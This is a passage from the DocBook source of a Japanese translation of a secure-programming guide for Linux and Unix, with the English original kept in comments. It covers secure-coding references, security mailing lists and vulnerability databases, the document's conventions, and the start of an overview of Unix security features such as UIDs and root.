  A Taxonomy of Computer Program Security Flaws.
  ACM Computing Surveys. Vol. 26, No. 3.

http://scholar.lib.vt.edu/theses/available/etd-04252001-234145/
Lough, Daniel Lowry
"A Taxonomy of Computer Attacks with Applications to Wireless Network"
Published 2001.
Summary:
This research presents a comprehensive analysis of the types of attacks that are being leveled upon computer systems and the
construction of a general taxonomy and methodologies that will facilitate design of secure protocols. To develop a comprehensive
taxonomy, existing lists, charts, and taxonomies of host and network attacks published over the last thirty years are examined and
                        combined, revealing common denominators among them. These common denominators, as well as new information, are assimilated to
                        produce a broadly applicable, simpler, and more complete taxonomy. It is shown that all computer attacks can be broken into a taxonomy
                        consisting of improper conditions: Validation Exposure Randomness Deallocation Improper Conditions Taxonomy; hence described by the
                        acronym VERDICT. 

                        The developed methodologies are applicable to both wired and wireless systems, and they are applied to some existing Internet attacks to
                        show how they can be classified under VERDICT. The methodologies are applied to the IEEE 802.11 wireless local area network protocol
                        and numerous vulnerabilities are found. Finally, an extensive annotated bibliography is included. 

http://cr.yp.to/qmail/guarantee.html  Qmail
-->

</para>

<para>
<!--
For general-purpose servers and setuid/setgid programs, there are a number
of valuable documents (though some are difficult to find without
having a reference to them).
-->
汎用的なサーバや setuid もしくは setgid したプログラムについては、役に立つ
ドキュメントがたくさんあります(ドキュメントの中には直接見つけるのが困難なも
のがあります)。
</para>

<para>
<!--
Matt Bishop [1996, 1997]
has developed several extremely valuable papers and presentations
on the topic, and in fact he has a web page dedicated to the topic at
<ulink
url="http://olympus.cs.ucdavis.edu/~bishop/secprog.html">http://olympus.cs.ucdavis.edu/~bishop/secprog.html</ulink>.
AUSCERT has released a programming checklist
<ulink
url="ftp://ftp.auscert.org.au/pub/auscert/papers/secure_programming_checklist">[AUSCERT 1996]</ulink>,
based in part on chapter 23 of Garfinkel and Spafford's book discussing how
to write secure SUID and network programs
<ulink
url="http://www.oreilly.com/catalog/puis">[Garfinkel 1996]</ulink>.
<ulink
url="http://www.sunworld.com/swol-04-1998/swol-04-security.html">Galvin [1998a]</ulink> described a simple process and checklist
for developing secure programs; he later updated the checklist in
<ulink
url="http://www.sunworld.com/sunworldonline/swol-08-1998/swol-08-security.html">Galvin [1998b]</ulink>.
<ulink
url="http://www.pobox.com/~kragen/security-holes.html">Sitaker [1999]</ulink>
presents a list of issues for the ``Linux security audit'' team to search for.
<ulink
url="http://www.homeport.org/~adam/review.html">Shostack [1999]</ulink>
defines another checklist for reviewing security-sensitive code.
The NCSA
<ulink url="http://www.ncsa.uiuc.edu/General/Grid/ACES/security/programming">[NCSA]</ulink>
provides a set of terse but useful secure programming guidelines.
Other useful information sources include the
<emphasis remap="it">Secure Unix Programming FAQ</emphasis>
<ulink
url="http://www.whitefang.com/sup/">[Al-Herbish 1999]</ulink>,
the
<emphasis remap="it">Security-Audit's Frequently Asked Questions</emphasis>
<ulink
url="http://lsap.org/faq.txt">[Graham 1999]</ulink>,
and
<ulink
url="http://www.clark.net/pub/mjr/pubs/pdf/">Ranum [1998]</ulink>.
Some recommendations must be taken with caution, for example,
the BSD setuid(7) man page
<ulink
url="http://www.homeport.org/~adam/setuid.7.html">[Unknown]</ulink>
recommends the use of access(3) without noting the dangerous race conditions
that usually accompany it.
Wood [1985] has some useful but dated advice
in its ``Security for Programmers'' chapter.
<ulink
url="http://www.research.att.com/~smb/talks">Bellovin [1994]</ulink>
includes useful guidelines and some specific examples, such as how to
restructure an ftpd implementation to be simpler and more secure.
FreeBSD provides some guidelines
<ulink
url="http://www.freebsd.org/security/security.html">FreeBSD [1999]</ulink>
<ulink url="http://developer.gnome.org/doc/guides/programming-guidelines/book1.html">[Quintero 1999]</ulink>
is primarily concerned with GNOME programming guidelines, but it
includes a section on security considerations.
<ulink url="http://www.fish.com/security/murphy.html">[Venema 1996]</ulink>
provides a detailed discussion (with examples) of some common errors
when programming secure programs (widely-known or predictable passwords,
burning yourself with malicious data, secrets in user-accessible data,
and depending on other programs).
<ulink url="http://www.fish.com/security/maldata.html">[Sibert 1996]</ulink>
describes threats arising from malicious data.
-->
Matt Bishop[1996, 1997] は、このトピックに関してたいへん素晴らしい
ドキュメントを作成したり、発表を行ったりしています。その上彼の Web サイト
<ulink
url="http://olympus.cs.ucdavis.edu/~bishop/secprog.html">http://olympus.cs.ucdavis.edu/~bishop/secprog.html</ulink>
でこのトピックを専門に扱っています。
AUSCERT はプログラミングにあたってのチェックリスト 
<ulink
url="ftp://ftp.auscert.org.au/pub/auscert/papers/secure_programming_checklist">[AUSCERT 1996]</ulink> 
を公開しています。これは Garfinkel、Spafford 両氏の著作 
<ulink
url="http://www.oreilly.com/catalog/puis">[Garfinkel 1996]</ulink> 
の 23 章で論じている、安全な suid したネットワーク関連のプログラム書法を下敷き
にしています。
<ulink
url="http://www.sunworld.com/swol-04-1998/swol-04-security.html">Galvin [1998a]</ulink> 
は、安全なプログラムを開発する工程やチェックリストについて分かりやすく説明
しています。最近になってチェックリストが更新され、
<ulink
url="http://www.sunworld.com/sunworldonline/swol-08-1998/swol-08-security.html">Galvin [1998b]</ulink> で見られます。
<ulink
url="http://www.pobox.com/~kragen/security-holes.html">Sitaker [1999]</ulink> 
には、「Linux セキュリティ監査」チームが検討している問題について、その一覧が
あります。
<ulink
url="http://www.homeport.org/~adam/review.html">Shostack [1999]</ulink> では
セキュリティに気を配る必要があるコードをレビューするのに役立つチェックリストを
定義しています。
NCSA 
<ulink url="http://www.ncsa.uiuc.edu/General/Grid/ACES/security/programming">[NCSA]</ulink>
では、安全なプログラムのための簡潔かつ役に立つガイドラインを提供しています。
その他で情報源として役に立つのは、
<emphasis remap="it">Secure Unix Programming FAQ</emphasis>
<ulink
url="http://www.whitefang.com/sup/">[Al-Herbish 1999]</ulink> や 
<emphasis remap="it">Security-Audit's Frequently Asked Questions</emphasis>
<ulink
url="http://lsap.org/faq.txt">[Graham 1999]</ulink>、
<ulink
url="http://www.clark.net/pub/mjr/pubs/pdf/">Ranum [1998]</ulink> 
があります。
アドバイスの中には注意しなければならないものがあります。例えば BSD の man 
の setuid(7) では <ulink
url="http://www.homeport.org/~adam/setuid.7.html">[Unknown]</ulink>、
access(3) の使用を推奨していますが、その使用にともなって生じる競合状態の
危険さを考慮していません。
Wood[1985]には、役に立つものの、古くなってしまったアドバイスが
「Security for Programmers」の章にあります。
<ulink
url="http://www.research.att.com/~smb/talks">Bellovin [1994]</ulink> 
には役に立つガイドラインや ftpd の実装をよりシンプルで安全に組み直すといった
やり方の具体例がいくつかあります。
FreeBSD は 
<ulink
url="http://www.freebsd.org/security/security.html">FreeBSD [1999]</ulink>
というガイドラインを用意しています。
<ulink url="http://developer.gnome.org/doc/guides/programming-guidelines/book1.html">[Quintero 1999]</ulink>
は、そもそも GNOME のプログラミング・ガイドラインと関連がありますが、
セクションの 1 つでセキュリティについて検討しています。
<ulink url="http://www.fish.com/security/murphy.html">[Venema 1996]</ulink>
は、安全なプログラムを組む時にありがちなエラー(ありきたりなので推測可能な
パスワードや悪意あるデータによる汚染、ユーザがアクセスできるデータ
に含まれてしまっている機密情報、他のプログラムへの依存)について詳しく
(例を挙げて)論じています。
<ulink url="http://www.fish.com/security/maldata.html">[Sibert 1996]</ulink> 
は、悪意あるデータが引き起こす脅威について説明しています。
</para>

<para>
<!--
There are many documents giving security guidelines for
programs using
the Common Gateway Interface (CGI) to interface with the web.
These include
-->
Web のインタフェースである Common Gateway Interface(CGI)は、プログラマ向け
ドキュメントとして、セキュリティのガイドラインがたくさん用意してあります。
<!-- 原文でコメントアウトしてあるので訳出しません。 -->
<!-- ???: Re-examine this one: anything new here? -->
<ulink url="http://www.csclub.uwaterloo.ca/u/mlvanbie/cgisec">Van Biesbrouck [1996]</ulink>,
<ulink
url="http://language.perl.com/CPAN/doc/FAQs/cgi/perl-cgi-faq.html">Gundavaram [unknown]</ulink>,
<ulink url="http://webreview.com/wr/pub/97/08/08/bookshelf">
[Garfinkle 1997]</ulink>
<ulink
url="http://www.eekim.com/pubs/cgibook">Kim [1996]</ulink>,
<ulink
url="http://www.go2net.com/people/paulp/cgi-security/safe-cgi.txt">Phillips [1995]</ulink>,
<ulink
url="http://www.w3.org/Security/Faq/www-security-faq.html">Stein [1999]</ulink>,
<ulink url="http://members.home.net/razvan.peteanu">[Peteanu 2000]</ulink>,
and
<ulink
url="http://advosys.ca/tips/web-security.html">[Advosys 2000]</ulink>.
</para>

<para>
<!--
There are many documents specific to a language, which are further
discussed in the language-specific sections of this book.
For example, the Perl distribution includes
<ulink url="http://www.perl.com/pub/doc/manual/html/pod/perlsec.html">
perlsec(1)</ulink>, which describes how to use Perl more securely.
The Secure Internet Programming site at
<ulink url="http://www.cs.princeton.edu/sip">http://www.cs.princeton.edu/sip</ulink>
is interested in computer security issues in general, but focuses on
mobile code systems such as Java, ActiveX, and JavaScript; Ed Felten
(one of its principles) co-wrote a book on securing Java
(<ulink url="http://www.securingjava.com">[McGraw 1999]</ulink>)
which is discussed in <xref linkend="java">.
Sun's security code guidelines provide some guidelines primarily
for Java and C; it is available at
<ulink url="http://java.sun.com/security/seccodeguide.html">
http://java.sun.com/security/seccodeguide.html</ulink>.
-->
ある特定の言語について触れたドキュメントはたくさんあります。このドキュメント
では、言語に固有な点に触れたセクションでさらに論じます。
たとえば、Perl の配布物の中には、
<ulink url="http://www.perl.com/pub/doc/manual/html/pod/perlsec.html">
perlsec(1)</ulink> というセクションがあり、Perl をより安全に使う方法に
ついて論じています。
<ulink url="http://www.cs.princeton.edu/sip">http://www.cs.princeton.edu/sip</ulink> 
にある Secure Internet Programming というサイトは、コンピュータのセキュリティ
全般について扱っていますが、Java や ActiveX、JavaScript といったモバイル・
コードの仕組みに焦点を当てています。
Ed Felten 氏(このサイトの中心人物の 1 人)は Java を安全にする書籍を共著して
います。
(<ulink url="http://www.securingjava.com">[McGraw 1999]</ulink>)。この点に
ついては <xref linkend="java"> で扱います。
Sun が出しているコードを安全にするためのガイドラインには、主に Java や C 
について触れたものがいくつかあります。
<ulink url="http://java.sun.com/security/seccodeguide.html">
http://java.sun.com/security/seccodeguide.html</ulink> 
で利用できます。
</para>

<para>
<!--
Yoder [1998] contains a collection of patterns to be used
when dealing with application security.
It's not really a specific set of guidelines, but a set of commonly-used
patterns for programming that you may find useful.
The Schmoo group maintains a web page linking to information on
how to write secure code at
<ulink url="http://www.shmoo.com/securecode">http://www.shmoo.com/securecode</ulink>.
-->
Yoder[1998]には、アプリケーションのセキュリティに取り組む際に利用できるパタン
がいろいろあります。
ガイドラインとしては具体性に欠けますが、日常よく使うプログラミング・パタン
として役に立つと思います。
Schmoo グループは、安全なコードを書く方法についての情報リンクを Web サイトに
載せ続けています。<ulink 
url="http://www.shmoo.com/securecode">http://www.shmoo.com/securecode</ulink>。
</para>

<para>
<!--
There are many documents describing the issue from
the other direction (i.e., ``how to crack a system'').
One example is McClure [1999], and there's countless amounts of material
from that vantage point on the Internet.
There are also more general documents on computer architectures on how
attacks must be developed to exploit them, e.g.,
[LSD 2001].
The Honeynet Project has been collecting information
(including statistics) on how attackers
actually perform their attacks; see their website at
<ulink url="http://project.honeynet.org">http://project.honeynet.org</ulink>
for more information.
-->
別の側面から問題を論じているドキュメントも、たくさん存在します(たとえば
「システムをクラックするには」)。
一例として McClure[1999]があげられますし、インターネットという世界で見れば、
さらに莫大な資料がころがっています。
また、あるコンピュータ・アーキテクチャを攻撃するにはどのように開発すれば
よいか等についても、より広範囲なドキュメント(たとえば [LSD 2001]のような)
が存在しています。
Honeynet プロジェクトは、実際にどのように攻撃を行っているのかについて、情報
(統計を含め)を集めています。
<ulink url="http://project.honeynet.org">http://project.honeynet.org</ulink>
を見れば詳細な情報が得られます。
</para>

<para>
<!--
There's also a large body of information on vulnerabilities
already identified in existing programs.
This can be a useful set of
examples of ``what not to do,'' though it takes effort to extract more
general guidelines from the large body of specific examples.
There are mailing lists that discuss security issues; one of the most
well-known is
<ulink url="http://SecurityFocus.com/forums/bugtraq/faq.html">
Bugtraq</ulink>, which among other things develops a list of vulnerabilities.
The CERT Coordination Center (CERT/CC)
is a major reporting center for Internet security problems which
reports on vulnerabilities.
The CERT/CC occasionally produces advisories that
provide a description of a serious security problem
and its impact, along with
instructions on how to obtain a patch or details of a workaround; for
more information see
<ulink url="http://www.cert.org">http://www.cert.org</ulink>.
Note that originally the CERT was
a small computer emergency response team, but officially
``CERT'' doesn't stand for anything now.
The Department of Energy's
<ulink url="http://ciac.llnl.gov/ciac">Computer
Incident Advisory Capability (CIAC)</ulink> also reports on vulnerabilities.
-->
既存のプログラムにおいて、脆弱性が既に確認されている情報も多量に出回っています。
この情報は、「そうしないようにする」という点では役に立ちます。しかし、たくさん
の具体的な例から、一般的に利用できるガイドラインを見つけ出すのはかなり大変
です。
セキュリティについて議論するメーリングリストがあります。最も有名なものの
1 つに 
<ulink url="http://SecurityFocus.com/forums/bugtraq/faq.html">
Bugtraq</ulink> があります。このメーリングリストは脆弱性の一覧を作成する
ことに熱心に取り組んでいます。
CERT Coordination Center(CERT/CC)は、代表的な機関の 1 つで、インターネット
関連のセキュリティ上の問題を報告しています。
CERT/CC はちょくちょく勧告を発行し、深刻なセキュリティ上の問題やその
影響度合いを解説し、パッチや善後策をどうやって得たらよいのかを説明
しています。詳しい情報は、
<ulink url="http://www.cert.org">http://www.cert.org</ulink> 
を見てください。
ただし注意して欲しいのは、もともと CERT は小型コンピュータ緊急対応チーム
であって、公式に「CERT」がセキュリティについての代表機関となっているわけ
ではない点です。
米国エネルギー省の機関である
<ulink url="http://ciac.llnl.gov/ciac">Computer
Incident Advisory Capability (CIAC)</ulink> も脆弱性について報告をあげて
います。
<!-- 原文でコメントアウトしてあるので訳出しません。 -->
<!-- Could reference ntbugtraq and the ones listed in
    http://www.cert.org/other_sources/other_teams.html and the
    various backers of CVE -->
<!--
These different groups may identify the same vulnerabilities but use different
names.
To resolve this problem,
MITRE supports the Common Vulnerabilities and Exposures (CVE) list
which creates a single unique identifier (``name'')
for all publicly known vulnerabilities and security exposures
identified by others; see
<ulink url="http://www.cve.mitre.org">http://www.cve.mitre.org</ulink>.
NIST's ICAT
is a searchable catalog of computer vulnerabilities, categorizing
each CVE vulnerability so that they can be searched
and compared later; see
<ulink url="http://csrc.nist.gov/icat">http://csrc.nist.gov/icat</ulink>.
-->
それぞれのグループは同じような脆弱性を報告していますが、ばらばらな呼び方
をしています。
この問題を解決するために、MITRE は、「あきらかな脆弱さと起こる可能性がある
脆弱さの共通化」(Common Vulnerabilities and Exposures(CVE))の一覧を作成して
います。この一覧では、共通で一意に決まる識別子(name)を作って、一般的に広く
知られている脆弱性と誰かが発見したセキュリティ上の問題を載せています。
<ulink url="http://www.cve.mitre.org">http://www.cve.mitre.org</ulink> 
を見てください。
NIST の ICAT はコンピュータの脆弱性を検索可能な形でまとめたものです。CVE の
脆弱性のカテゴリにもとづいているので、後で検索や比較が可能になっています。
<ulink url="http://csrc.nist.gov/icat">http://csrc.nist.gov/icat</ulink> 
を見てください。
【訳註：MITRE と CVE の詳細は、
<ulink url="http://www.mitre.org/about">about MITRE</ulink> と 
<ulink url="http://cve.mitre.org/about/">about CVE</ulink> 
を参照してください】
</para>

<para>
<!--
This book is a summary of what I believe are the most
useful and important guidelines.
My goal is a book that
a good programmer can just read and then be fairly well prepared
to implement a secure program.
No single document can really meet this goal, but
I believe the attempt is worthwhile.
My objective is to strike a balance somewhere between a
``complete list of all possible guidelines''
(that would be unending and unreadable)
and the various ``short'' lists available on-line that are nice and short
but omit a large number of critical issues.
When in doubt, I include the guidance; I believe in that case it's better
to make the information
available to everyone in this ``one stop shop'' document.
The organization presented here is my own (every list has its own, different
structure), and some of the guidelines (especially the Linux-unique
ones, such as those on capabilities and the FSUID value) are also my own.
Reading all of the referenced documents listed above as well
is highly recommended, though I realize that for many it's impractical.
-->
このドキュメントは、私が最も有益かつ重要だと考えたガイドラインをまとめた
ものです。
優秀なプログラマがこれを読んだだけで、かなり上手に安全なプログラムを実装
できるよう、下地を作ることを目標にしています。
この目標を単独でカバーできるドキュメントにはお目にかかったことはありません
が、この取り組みは意義があると信じています。
方針はバランスを取ることです。「考えられるだけのガイドラインをリストアップ
する」(エンドレスな作業でいつまでたっても形にならない)こと、「簡潔な」リスト
をいろいろあげてオンラインで利用できれば、有益かつ簡潔にはなるものの、重大な
問題が省略されてしまうことが多く、この両者のバランスが大切です。
はっきりしない場合は、手引きを記載してあります。そういう場合は、誰もが
「これさえ見ればすべて OK」的なドキュメントを読んで、その情報を活用できる
ようになっている方が、より効果的だと考えるからです。
このドキュメントの構成(一覧はすべて、独自でさまざまな構成になっています)は、
私自身が作成し、ガイドライン(特にケイパビリティや fsuid のような Linux 独自
のもの)の中にも、私自身が書いたものがあります。
上記にあげた関連ドキュメントをすべて読むことを強くお薦めします。しかし、
それは現実的ではないですね。

</para>
</sect1>

<sect1 id="other-sources">
<!-- <title>Other Sources of Security Information</title> -->
<title>その他のセキュリティ情報源</title>

<para>
<!--
There are a vast number of web sites and mailing lists dedicated to
security issues.
Here are some other sources of security information:
-->
セキュリティ問題に特化した Web サイトやメーリングリストは膨大な数が
存在しています。
ここでは、その他のセキュリティ情報をいくつか挙げておきます。
<itemizedlist>
<listitem><para>
<!--
<ulink url="http://www.securityfocus.com">Securityfocus.com</ulink>
has a wealth of general security-related news and information, and hosts
a number of security-related mailing lists.
See their website for information on how to subscribe and view their archives.
A few of the most relevant mailing lists on SecurityFocus are:
-->
<ulink url="http://www.securityfocus.com">Securityfocus.com</ulink> 
は、一般的なセキュリティ関連のニュースや情報を豊富に提供しており、セキュリティ
関連のメーリングリストもたくさん主催しています。
参加方法やアーカイブの見方については、Web サイトを見てください。
SecurityFocus で最も関連深いメーリングリストには、下記のようなものがあります。
<itemizedlist>
<listitem><para>
<!--
The ``Bugtraq'' mailing list is, as noted above,
a ``full disclosure moderated mailing list for the detailed discussion and
announcement of computer security vulnerabilities:
what they are, how to exploit them, and how to fix them.''
-->
上記で触れたように、「Bugtraq」メーリングリストは「コンピュータのセキュリティ
上の脆弱性についてのメーリングリストで、モデレーターが存在しています。脆弱性
が何であり、それがどのように攻撃をかけ、どうしたら防ぐことができるか、と
いったことについて、詳細な報告と議論をすべて公開しています」。
</para></listitem>
<listitem><para>
<!--
The ``secprog'' mailing list is
a moderated mailing list for the discussion of secure software
development methodologies and techniques.
I specifically monitor this list, and I coordinate with its moderator
to ensure that resolutions reached in SECPROG (if I agree with them)
are incorporated into this document.
-->
「secprog」メーリングリストは、モデレーターがいるメーリングリストで、安全な
ソフトウェアを開発する方法論とテクニックを議論しています。
私はこのメーリングリストをとても注目しています。モデレーターと連携して、
secprog で出た結論を取り入れ(結論に納得した場合)、このドキュメントに反映して
います。
</para></listitem>
<listitem><para>
<!--
The ``vuln-dev'' mailing list discusses potential or undeveloped holes.
-->
vuln-dev メーリングリストは、潜在的にセキュリティホールとなるが、まだ穴を
空けられていないものを議論しています。
</para></listitem>
</itemizedlist>
</para></listitem>
<listitem><para>
<!--
IBM's ``developerWorks: Security'' has a library of interesting articls.
You can lea n more from
<ulink url="http://www.ibm.com/developer/security">http://www.ibm.com/developer/security</ulink>.
-->
IBM の「developerWorks: Security」は興味深い記事を集めています。
<ulink url="http://www.ibm.com/developer/security">http://www.ibm.com/developer/security</ulink> 
でさらに学習してください。
【訳註：<ulink url="http://www-6.ibm.com/jp/developerworks/">日本語
サイト</ulink>があります】
</para></listitem>
<listitem><para>
<!--
For Linux-specific security information, a good source is
<ulink url="http://www.linuxsecurity.com">LinuxSecurity.com</ulink>.
If you're interested in auditing Linux code, places to see include
the <ulink url="http://www.linuxhelp.org/lsap.shtml">Linux
Security-Audit Project FAQ</ulink>
and <ulink url="http://www.lkap.org">Linux Kernel Auditing Project</ulink>
are dedicated to auditing Linux code for security issues.
-->
Linux 固有のセキュリティ情報を知りたいなら、
<ulink url="http://www.linuxsecurity.com">LinuxSecurity.com</ulink> が
よいでしょう。
Linux のコードを監査することに興味があるなら、
<ulink url="http://www.linuxhelp.org/lsap.shtml">Linux
Security-Audit Project FAQ</ulink>
や <ulink url="http://www.lkap.org">Linux Kernel Auditing Project</ulink>
も見てみるとよいでしょう。これらは、Linux のコードについてのセキュリティ上
の問題に熱心に取り組んでいます。
</para></listitem>
</itemizedlist>
<!--
Of course, if you're securing specific systems, you should sign up to
their security mailing lists (e.g., Microsoft's, Red Hat's, etc.)
so you can be warned of any security updates.
-->
特定のシステムを安全にしようとしているなら、そのシステムのセキュリティ関連の
メーリングリストにももちろん参加してください(たとえば Microsoft や Red Hat 
等)。そうすれば、セキュリティのアップデート情報を得られます。
</para>

</sect1>

<sect1 id="conventions">
<!-- <title>Document Conventions</title> -->
<title>ドキュメントでの約束事</title>

<para>
<!--
System manual pages are referenced in the format <emphasis remap="it">name(number)</emphasis>,
where <emphasis remap="it">number</emphasis> is the section number of the manual.
The pointer value that means ``does not point anywhere'' is called NULL;
C compilers will convert the integer 0 to the value NULL in most circumstances
where a pointer is needed,
but note that nothing in the C standard requires that NULL actually
be implemented by a series of all-zero bits.
C and C++ treat the character '\0' (ASCII 0) specially, and this value
is referred to as NIL in this book (this is usually called ``NUL'',
but ``NUL'' and ``NULL'' sound identical).
Function and method names always use the correct case, even if that means
that some sentences must begin with a lower case letter.
I use the term ``Unix-like'' to mean Unix, Linux, or other systems whose
underlying models are very similar to Unix;
I can't say POSIX, because there are systems such as Windows 2000 that
implement portions of POSIX yet have vastly different security models.
-->
システムの man ページからの引用は、<emphasis remap="it">名称(番号)
</emphasis>という形式にします。<emphasis remap="it">番号</emphasis>は、
man のセクション番号です。「どこも参照していない」ポインタ値を
NULL とします。C コンパイラは、ポインタが必要なおおかたの環境で、整数の 0 
を NULL に変換しています。しかし、C の規格としては NULL が実際にすべてが 
0 ビットで埋められるという実装を求めてはいません。
C と C++ は文字「\0(ASCII の 0)」を特別扱いしています。この値をこの
ドキュメントでは NIL とします(NIL は通常「NUL」としますが、「NUL」と「NULL」
の発音が同じため)。
関数やメソッドの名前は、文脈によっては小文字ではじめる必要があったとしても、
常に大文字・小文字の使い分けは元のままにしています。
「Unix ライクな」という用語を使う時には、Unix や Linux、そして Unix と非常に
似通った基本構造を持つその他のシステムを指します。
POSIX という言葉は使いません。というのは、Windows 2000 のように POSIX を
部分的に実装はしていても、まだセキュリティモデルがまったく異なっているもの
があるからです。
</para>

<para>
<!--
An attacker is called an ``attacker'', ``cracker'', or ``adversary''.
Some journalists use the word ``hacker'' instead of ``attacker'';
this book avoids this (mis)use, because many
Linux and Unix developers refer to themselves as ``hackers''
in the traditional non-evil sense of the term.
That is, to many Linux and Unix developers, the term ``hacker'' continues
to mean simply an expert or enthusiast, particularly regarding computers.
-->
攻撃者のことを「アタッカー」とか「クラッカー」とか「アドバーサリ(敵対者)」
と言います。
ジャーナリストは「攻撃者」のかわりに「ハッカー」という言葉を使う場合が
あります。このドキュメントではこの(間違った)表現を避けています。というのも、
Linux や Unix の開発者は、自身のことを「ハッカー」としている場合が多いからです。
この言葉は悪い意味で使われてはいませんでした。
つまり、Linux や Unix の開発者にとって「ハッカー」という言葉は、今でも
専門家であり、コンピュータにとりわけ熱い思いを持っている人間を意味して
いるのです。
</para>

<!-- TRANSLATORS:  FEEL FREE TO OMIT THE FOLLOWING PARAGRAPH
     (OR PORTIONS OF IT) IF IT DOES NOT APPLY TO YOUR LANGUAGE.  -->
<!-- 上記の記述にしたがい、下記の部分は翻訳しません -->
<para>
<!--
This book uses the ``new'' or ``logical'' quoting system, instead
of the traditional American quoting system: quoted information
does not include any trailing punctuation if the punctuation
is not part of the material being quoted.
While this may cause a minor loss of typographical beauty, the traditional
American system causes extraneous characters to be placed inside the quotes.
These extraneous characters have
no effect on prose but can be disastrous in code or computer commands.
-->
<!-- See http://www.tuxedo.org/~esr/jargon/html/Hacker-Writing-Style.html -->
<!-- I distinguish between the terms privilege and permission in this book;
a process (subject) may acquire privileges, while an object has permissions. -->
<!--
I use standard American (not British) spelling; I've yet to meet an
English speaker on any continent who has trouble with this.
-->
</para>

</sect1>

</chapter>

<chapter id="features">
<!-- <title>Summary of Linux and Unix Security Features</title> -->
<title>Linux と Unix のセキュリティ機能</title>

<epigraph>
<!-- <attribution>Proverbs 2:11 (NIV)</attribution> -->
<attribution>旧約聖書 箴言 2 章 11 節</attribution>
<para>
<!-- Discretion will protect you, and understanding will guard you.  -->
慎重さがあなたを保ち、英知が守ってくれる
</para>
</epigraph>

<para>
<!--
Before discussing guidelines on how to use Linux or Unix security features,
it's useful to know what those features are from a programmer's viewpoint.
This section briefly describes those features that are widely available
on nearly all Unix-like systems.
However, note that there is considerable variation between
different versions of Unix-like systems, and
not all systems have the abilities described here.
This chapter also notes some extensions or features specific to Linux;
Linux distributions tend to be fairly similar to each other from the
point-of-view of programming for security, because they all use essentially
the same kernel and C library (and the GPL-based licenses encourage rapid
dissemination of any innovations).
It also notes some of the security-relevant differences between different
Unix implementations, but please note that this isn't an exhaustive list.
This chapter doesn't discuss issues such as implementations of
mandatory access control (MAC) which many Unix-like systems do not implement.
If you already know what
those features are, please feel free to skip this section.
-->
Linux や Unix のセキュリティ機能のガイドラインについて論じる前に、
プログラマの立場から、その機能が何であるかを知っておいてもよいと思います。
このセクションでは、Unix ライクなシステムのほとんどで広く使われている
これらの機能をざっと説明します。
しかし Unix ライクなシステム間にはかなりばらつきがあり、システムすべて
がここで述べる機能を持っているわけではないことに注意してください。
この章では、拡張機能のいくつかと Linux に固有の機能についても注目して行き
ます。Linux のディストリビューション間の違いは、セキュリティに関する
プログラミングという点から見ると、ほとんど無いといってもよいと思います。
それは、基本的には同じカーネルと C ライブラリ(GPL ベースのライセンスは、
技術革新を速やかに普及させます)。
また、それぞれの Unix の実装間にはセキュリティ関連での違いがいくつか
ありますが、ここで説明することがすべてをカバーしているわけではありません。
この章では、たとえば強制アクセス制御(mandatory access control (MAC))
の実装のように、まだ Unix ライクなシステムの多くが実装していないものに
ついては議論しません。
これから説明する機能が何であるか既に知っているなら、このセクションを飛ばして
も結構です。
</para>

<para>
<!--
Many programming guides skim briefly over the security-relevant portions
of Linux or Unix and skip important information.
In particular, they often discuss ``how to use'' something in general terms
but gloss over the security attributes that affect their use.
Conversely, there's a great deal of detailed information in
the manual pages about individual functions, but the manual pages
sometimes obscure key security issues with detailed discussions on how
to use each individual function.
This section tries to bridge that gap; it gives an overview of
the security mechanisms in Linux that are likely to be used
by a programmer, but concentrating specifically on the security
ramifications.
This section has more depth than the typical programming guides, focusing
specifically on security-related matters, and points to references
where you can get more details.
-->
プログラミングガイドは、Linux や Unix でのセキュリティ関連の一部を軽くなぞる
だけで、重要な情報は飛ばしてしまうケースが多く見られます。
とりわけ「どのように使うか」ということは大まかには論じますが、利用の際に関り
が出てくるセキュリティの属性については誤魔化しています。
それとは逆に、man には個々の関数について、詳細な情報が多量にあります。しかし
man は個々の関数をどのように利用するのか、という細かい説明でもって、
セキュリティの問題を隠してしまっている場合があります。
このセクションでは、そのギャップを埋めるように心がけます。Linux でプログラマ
がよく利用しそうなセキュリティの仕組みについて概要を説明しますが、特に
セキュリティによって生じるやっかい事に焦点を当てます。
このセクションは、普通のプログラミング・ガイドよりもさらに突っ込んだ内容に
なっていて、セキュリティ関連の事柄に焦点を絞り、さらに詳しい情報が得られる
ように参考文献をあげておきます。
</para>

<para>
<!--
First, the basics.
Linux and Unix are
fundamentally divided into two parts: the kernel and ``user space''.
Most programs execute in user space (on top of the kernel).
Linux supports the concept of ``kernel modules'', which is simply the
ability to dynamically load code into the kernel, but note that it
still has this fundamental division.
Some other systems (such as the HURD) are ``microkernel'' based systems; they
have a small kernel with more limited functionality, and a set of ``user''
programs that implement the lower-level functions traditionally implemented
by the kernel.
-->
まず基本的なところから。
Linux や Unix は 2 つの部分から構成されています。それはカーネルと「ユーザ
空間」です。
プログラムのほとんどは、ユーザ空間(カーネル上の)で動作しています。
Linux は「カーネル・モジュール」という概念をサポートしていて、動的かつ簡単に
コードをカーネルに追加できるようになっています。しかし依然としてカーネル
は基本的な部分を内部に抱えています。
他のシステムの中には(たとえば HURD のような)、「マイクロカーネル」ベース
のシステムもあります。そのシステムは、機能をより限定した小さなカーネルと
従来はカーネルで実装していた低レベルの機能を「ユーザ」プログラムとして実装
しています。
</para>

<para>
<!--
Some Unix-like systems have been extensively modified to support
strong security, in particular to support U.S. Department of Defense
requirements for Mandatory Access Control (level B1 or higher).
This version of this book doesn't cover these systems or issues;
I hope to expand to that in a future version.
More detailed information on some of them is available elsewhere, for
example, details on SGI's ``Trusted IRIX/B''
are available in NSA's
<ulink url="http://www.radium.ncsc.mil/tpep/library/fers/index.html">Final
Evaluation Reports (FERs)</ulink>.
-->
Unix ライクなシステムには、大幅に改修を行って、米国国防省が要求している 
MAC(B1 レベル以上)の強固なセキュリティに特別対応しているものがあります。
この版のドキュメントでは、これらのシステムやその課題は扱いません。
そのうち範囲を広げて行きたいと思っています。
さらに詳細な情報のいくつかは、他のところで利用できます。たとえば、SGI の
「Trusted IRIX/B」について詳しいのは、NSA の
<ulink url="http://www.radium.ncsc.mil/tpep/library/fers/index.html">Final
Evaluation Reports (FERs)</ulink> です。
<!-- 原文でコメントアウトしてあるので訳出しません。 -->
<!-- ???: Mention trusted Unix-like systems, MAC, ACLs, Trusted Solaris -->
</para>

<para>
<!--
When users log in, their usernames are mapped to integers marking their
``UID'' (for ``user id'') and the ``GID''s (for ``group id'') that they
are a member of.
UID 0 is a special privileged user (role) traditionally called ``root'';
on most Unix-like systems (including Unix) root
can overrule most security checks and is used to administrate the system.
On some Unix systems, GID 0 is also special and permits unrestricted access
to resources at the group level [Gay 2000, 228];
this isn't true on other systems (such as Linux), but even in those systems
group 0 is essentially all-powerful because so many special system files
